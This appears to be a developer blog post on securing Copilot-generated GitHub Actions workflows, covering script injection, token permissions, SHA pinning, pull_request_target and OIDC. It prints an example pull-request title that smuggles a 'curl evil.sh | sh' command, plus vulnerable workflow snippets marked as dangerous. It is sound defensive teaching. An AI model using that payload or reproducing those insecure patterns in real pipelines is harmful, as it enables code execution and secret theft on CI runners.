Copilot is genuinely good at GitHub Actions YAML. It knows the schema, it remembers the syntax you always look up, and it will produce a working workflow faster than you will.
It is also fluent in every insecure pattern on GitHub, because those patterns are all over its training data. The workflow it hands you will usually run. That is a different property from being safe.
Here are the four things I check on every generated workflow, in the order they cost you.
1. Script injection via github.event
This is the one that turns a pull request into code execution on your runner.
Anything under github.event that a contributor controls — PR title, body, branch name, commit message — is untrusted input. Interpolating it into a run: block with ${{ }} is command injection, full stop.
# Vulnerable. The PR title is shell.
- run: echo "Reviewing: ${{ github.event.pull_request.title }}"
A pull request titled a"; curl evil.sh | sh; # is not a hypothetical. The ${{ }} expression is substituted into the script before the shell sees it, so quoting inside the YAML does not save you.
# Safe. The value arrives as an environment variable, never as script text.
- run: echo "Reviewing: $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
The fix is mechanical: pass it through env:. Copilot will write it correctly if you ask, and will usually write the interpolated version if you do not.
2. Permissions default to whatever the repository says
If your workflow does not declare permissions, the token gets the repository default — which may well be write access to everything.
permissions:
contents: read # at the workflow level
jobs:
release:
permissions:
contents: write # widened only where it is needed
Set contents: read at the top and widen per job. Generated workflows omit the block entirely far more often than they get it wrong.
3. Tags are mutable pointers owned by someone else
- uses: some-org/some-action@v3 # a tag. Can be repointed at any time.
- uses: some-org/some-action@a81bbbf... # a commit. Cannot.
Pin every third-party action to a full commit SHA. @v3 is a label the action's maintainer — or anyone who compromises their account — can move to different code without your repository changing at all.
This is the one where Copilot is least likely to help unprompted, because essentially every example on the internet uses a tag.
4. pull_request_target is not pull_request
pull_request_target runs with a writable token and access to secrets, in the base repository's context. That is the point of it, and it is why it exists for workflows that need to comment on or label PRs from forks.
Combining it with a checkout of the PR head is the classic compromise:
# Dangerous: untrusted code, running with secrets and a write token.
on: pull_request_target
jobs:
build:
steps:
- uses: actions/checkout@<sha>
with:
ref: ${{ github.event.pull_request.head.sha }} # fork's code
- run: npm install && npm test # fork's scripts
If you asked for "a workflow that tests pull requests from forks", this shape is a plausible answer and a serious hole. Use pull_request unless you specifically need the elevated context, and if you do need it, do not execute the fork's code in the same job.
And one thing to do instead of managing secrets
Use OIDC rather than stored cloud credentials. Your workflow requests a short-lived token from the cloud provider, scoped to the repository and branch. There is then no long-lived secret in the repository to leak, rotate, or find in a log.
permissions:
id-token: write
contents: read
Copilot writes OIDC configuration well when you ask for it by name. It will reach for secrets.AWS_ACCESS_KEY_ID when you do not.
How to actually get better output
Two things move generated workflows more than prompt phrasing does:
Put the rules in an instructions file. A .github/copilot-instructions.md stating "pin actions to SHAs, never interpolate github.event into run:, declare permissions at workflow level" changes what comes back on every request, in a way that re-prompting does not. It supplies information the model did not have, rather than asking it to try harder.
Let actionlint be the gate. It catches shell-injection patterns, bad expressions and schema errors, and it runs in about a second. Anything it catches is something you do not have to review for.
actionlint is the closest thing to a free win here — and it is worth knowing what it does not catch, which is most of items 2, 3 and 4 above. Those are policy, not syntax, and a human or an instructions file has to carry them.
I keep a fuller version of this — including the worked example, the destructive-workflow review checklist, and what actionlint does and does not catch — at GitHub Copilot for CI/CD with GitHub Actions. The instructions-file lesson is the other half of this.
Top comments (0)